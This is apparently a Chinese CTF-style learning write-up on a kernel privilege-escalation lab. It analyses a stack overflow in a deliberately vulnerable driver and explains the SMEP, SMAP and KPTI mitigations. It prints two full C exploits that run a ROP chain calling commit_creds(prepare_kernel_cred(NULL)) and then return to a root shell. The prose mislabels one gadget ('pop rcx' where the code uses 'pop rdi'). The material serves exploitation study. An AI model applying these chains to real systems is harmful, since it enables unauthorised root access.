Pwn学习总结(29):Kernel Pwn – KROP_LPE

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/ROP/KROP_LPE

内核安全性:

  • KASLR:关闭
  • Stack Canary:关闭
  • FORTIFY_SOURCE:关闭
  • SMEP/SMAP:开启
  • KPTI:开启

根因分析

stacksmash_driver.c中,stacksmash_dev_write函数显然产生了栈溢出。

static ssize_t stacksmash_dev_write(struct file *filep, const char *buffer, size_t len, loff_t *offset) {
    char target_buf[8];
    char *local_buf = kmalloc(len, GFP_KERNEL);

    if (local_buf && copy_from_user(local_buf, buffer, len) == 0) {
        memcpy(target_buf, buffer, len); //no check to see if target_buf is big enough
        memcpy(message, buffer, len < MESSAGE_LEN ? len : MESSAGE_LEN);
        printk(KERN_INFO "[stacksmash_driver] message successfully copied message => [%s]", target_buf);
        kfree(local_buf);
        return strlen(message);
    } else {
        printk(KERN_ALERT "[stacksmash_driver] problem copying message...\n");
        return -EFAULT;
    }
}

target_buf的大小为8,但将用户态数据拷贝至target_buf时并不检查大小,所以可以导致栈溢出。

利用

基本思路

对于用户态程序,我们的目标一般是获取shell。此时,我们ROP劫持到one_gadget就足够了。而对于内核漏洞的利用,目标一般是提权,即,我们运行的用户应用程序只拥有普通用户权限,而我们想使得该程序具有root权限。此时,应该怎么办呢?

主要思路如下:

  1. 在内核地址空间执行commit_creds(prepare_kernel_cred(NULL));,其中
    1. prepare_kernel_cred(NULL)负责创建一个新的struct cred结构体,该结构体代表root权限。
    2. commit_creds(...)负责将struct cred结构体应用到当前进程,使当前进程拥有root权限。
  2. 为了绕过SMEP和SMAP防御机制,需要执行return to user操作,即使得控制流从内核地址空间返回至用户地址空间,并改变RIP,使其跳转到one_gadget。但执行执行return to user操作时,我们还需要绕过KPTI防御。后续我们将简单介绍这三种防御机制。

下面是函数的文档:

  1. prepare_kernel_cred

prepare_kernel_cred – Prepare a set of credentials for a kernel service
@daemon: A userspace daemon to be used as a reference
Prepare a set of credentials for a kernel service. This can then be used to
override a task’s own credentials so that work can be done on behalf of that
task that requires a different subjective context.
@daemon is used to provide a base for the security record, but can be NULL.
If @daemon is supplied, then the security data will be derived from that;
otherwise they’ll be set to 0 and no groups, full capabilities and no keys.
The caller may change these controls afterwards if desired.
Returns the new credentials or NULL if out of memory.
struct cred *prepare_kernel_cred(struct task_struct *daemon);

  1. commit_creds

commit_creds – Install new credentials upon the current task
@new: The credentials to be assigned
Install a new set of credentials to the current task, using RCU to replace
the old set. Both the objective and the subjective credentials pointers are
updated. This function may not be called if the subjective credentials are
in an overridden state.
This function eats the caller’s reference to the new credentials.
Always returns 0 thus allowing this function to be tail-called at the end
of, say, sys_setgid().
int commit_creds(struct cred *new);

执行commit_creds(prepare_kernel_cred(NULL))

由于内核没开ASLR,所以这个地方要做的事情也比较简单,不用绕过ASLR泄漏基址。

按照以下步骤布置栈:

  1. 填充垃圾数据直至返回地址位置。
  2. 通过弹栈的方式向rdi中填入0。
    • 具体实现为:
      • pop rcx; ret;
      • 0
  3. 调用prepare_kernel_cred
  4. 实现mov rdi, rax
    • 但内核中并没有直接对应的gadget。因此,我们查找一个替代实现:
      • pop rcx; ret;
      • 0
      • mov rdi, rax ; xor eax, eax ; rep movsb byte ptr [rdi], byte ptr [rsi] ; ret;
    • 其中,rep movsb byte ptr [rdi], byte ptr [rsi]是循环串操作指令。当rcx为0时,该指令不执行,等价于一个空操作。
  5. 调用commit_creds

return to user

SMEP和SMAP防御机制

我们首先讲解SMEP和SMAP机制,然后说明为什么必须进行return to user操作。

(懒得写了,从GPT里抄来的)

SMAP(Supervisor Mode Access Prevention)
功能: 阻止内核态代码访问用户态内存。
目的: 防止恶意代码利用内核漏洞访问用户数据。
实现: 当启用时,内核尝试访问用户态内存会导致错误,除非明确禁用此保护。
SMEP(Supervisor Mode Execution Prevention)
功能: 防止内核态代码执行用户态内存中的代码。
目的: 阻止利用用户态恶意代码执行内核态指令。
实现: 启用后,内核从用户态地址执行代码会触发异常。

当SMEP开启时,如果直接将RIP劫持到用户态的起shell代码,就会出现异常。因此,我们需要返回到用户态之后,再劫持RIP过去。

KPTI防御机制

在新版内核上,要执行return to user,可能需要绕过KPTI防御机制。本题目可以不用绕过KPTI。我们首先讲解KPTI,然后分别介绍绕过KPTI与不绕过KPTI利用的思路。

KPTI,全称Kernel page-table isolation。其引入主要是为了缓解Meltdown攻击,隔离了用户态和内核态的内存页表,以防止恶意用户态程序通过侧信道泄漏内核内存。有关Meltdown攻击,请自行百度。困的想睡觉,懒得写了。

KPTI应用前后,地址空间的布局示意图如下图所示:

NO KPTI                                KPTI ENABLED

┌───────────────┐            ┌───────────────┐   ┌───────────────┐
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│  Kernel land  │            │  Kernel land  │   │               │
│               │            │               │   ├───────────────┤
│               │            │               │   │  Kernel land  │
├───────────────┤            ├───────────────┤   ├───────────────┤
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │ ─────────► │               │   │               │
│               │            │               │   │               │
│  User land    │            │  User land    │   │  User land    │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
│               │            │               │   │               │
└───────────────┘            └───────────────┘   └───────────────┘

 User + Kernel                 Kernel mode         User mode
 mode

return to user的实现

第一种方式,使用swapgs + iretq指令。请参考Learning Linux kernel exploitation – Part 1 – Laying the groundwork(译文)。下面的东西就直接复制过来的,人家写的很好了,我懒得写了。

提升了我们的特权后,我们将如何继续呢?我们仍然在内核上下文中执行。因此,假设我们想要植入一个(特权)shell的话,最终必须返回到用户空间。为此,我们可以借助于两个ROP gadget来切换上下文,即swapgs与iretq或sysretq(二选一即可):

  • swapgs:该指令用于设置上下文切换,或者更具体地说,用于将寄存器上下文从用户空间切换到内核空间,反之亦然。具体地说,swapgs会替换gs寄存器的值,以便使其引用正在运行的应用程序中的内存位置或内核空间中的位置。对于切换上下文来说,该指令是必不可少的!

  • iretq/sysretq:两者都可以用于在用户空间和内核空间之间进行实际的上下文切换。iretq有一个简单的设置。它只需要5个用户空间的寄存器值,其顺序如下:rip、cs、rflags、sp、ss。因此,我们必须在执行iretq之前,以相反的顺序将它们压入堆栈。另一方面,sysretq在执行时需要将rcx寄存器中的值移动到rip寄存器中,这意味着我们必须对返回地址进行相应的设置,使其位于rcx寄存器中。此外,它还将rflags寄存器中的值移动到r11寄存器中,这可能需要进行额外的处理。最后,sysretq希望rip中的值为规范形式的,这就意味着该值的第48位到第63位必须与第47位(比较符号扩展)相同;否则的话,就会出现一般性保护错误!虽然sysret指令具有更严格的约束,但涉及的寄存器却更少,执行速度通常也更快一些。

第二种方式,使用kernel中内置的swapgs_restore_regs_and_return_to_usermode函数,也请参考Learning Linux kernel exploitation – Part 1 – Laying the groundwork(译文)。东西太多了,我就不搬运了。直接去参考链接里看吧。

利用代码

No KPTI

#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEVICE_NAME "/dev/stacksmash_device"

int64_t user_cs, user_rflags, user_rsp, user_ss;

void save_registers() {
  asm("movq %%cs, %[user_cs]\n"
      "movq %%ss, %[user_ss]\n"
      "movq %%rsp, %[user_rsp]\n"
      "pushfq\n"
      "popq %[user_rflags]\n"
      : [user_cs] "=r"(user_cs), [user_ss] "=r"(user_ss),
        [user_rsp] "=r"(user_rsp), [user_rflags] "=r"(user_rflags));
}

void shell() { system("/bin/sh"); }

int main(int argc, char **argv) {
  save_registers();
  int ret, fd;
  uint64_t payload[] = {
      0x1,
      0x2,
      0x3,
      0x4,
      0x5,
      0xffffffff8103fb8d, /* pop rdi; ret */
      0x0,
      0xffffffff810c5900, /* prepare_kernel_cred */
      0xffffffff813db97a, /* pop rcx; ret */
      0x0,
      0xffffffff81b1d5cf, /* mov rdi, rax ; xor eax, eax ; rep movsb byte ptr
                             [rdi], byte ptr [rsi] ; ret */
      0xffffffff810c5490, /* commit_creds */
      0xffffffff81075f84, /* swapgs; pop rbp; ret */
      0x0,
      0xffffffff8186b847, /* iretq ; */
      (uint64_t)shell, /* rip */
      user_cs,
      user_rflags,
      user_rsp,
      user_ss};

  fd = open(DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    puts("Failed to open device\n");
    return (-1);
  }
  ret = write(fd, payload, sizeof(payload));
  if (ret < 0) {
    puts("Failed to write to device\n");
    return (-1);
  }

  return (0);
}

With KPTI

#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEVICE_NAME "/dev/stacksmash_device"

int64_t user_cs, user_rflags, user_rsp, user_ss;

void save_registers() {
  asm("movq %%cs, %[user_cs]\n"
      "movq %%ss, %[user_ss]\n"
      "movq %%rsp, %[user_rsp]\n"
      "pushfq\n"
      "popq %[user_rflags]\n"
      : [user_cs] "=r"(user_cs), [user_ss] "=r"(user_ss),
        [user_rsp] "=r"(user_rsp), [user_rflags] "=r"(user_rflags));
}

void shell() { system("/bin/sh"); }

int main(int argc, char **argv) {
  save_registers();
  int ret, fd;
  uint64_t payload[] = {
      0x1,
      0x2,
      0x3,
      0x4,
      0x5,
      0xffffffff8103fb8d, /* pop rdi; ret */
      0x0,
      0xffffffff810c5900, /* prepare_kernel_cred */
      0xffffffff813db97a, /* pop rcx; ret */
      0x0,
      0xffffffff81b1d5cf, /* mov rdi, rax ; xor eax, eax ; rep movsb byte ptr
                             [rdi], byte ptr [rsi] ; ret */
      0xffffffff810c5490, /* commit_creds */
      0xffffffff81c00f50 +
          22,         /* swapgs_restore_regs_and_return_to_usermode + 22 */
      0x0,            /* Extra rax */
      0x0,            /* Extra rdi */
      (uint64_t)shell, /* rip */
      user_cs,
      user_rflags,
      user_rsp,
      user_ss};

  fd = open(DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    puts("Failed to open device\n");
    return (-1);
  }
  ret = write(fd, payload, sizeof(payload));
  if (ret < 0) {
    puts("Failed to write to device\n");
    return (-1);
  }

  return (0);
}

参考资料

  1. Learning Linux kernel exploitation – Part 1 – Laying the groundwork(译文)
  2. kernel-exploit-practice/return-to-user at master · pr0cf5/kernel-exploit-practice
  3. [原创]Kernel PWN从入门到提升
  4. kernel pwn入门 – 蚁景网安实验室

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注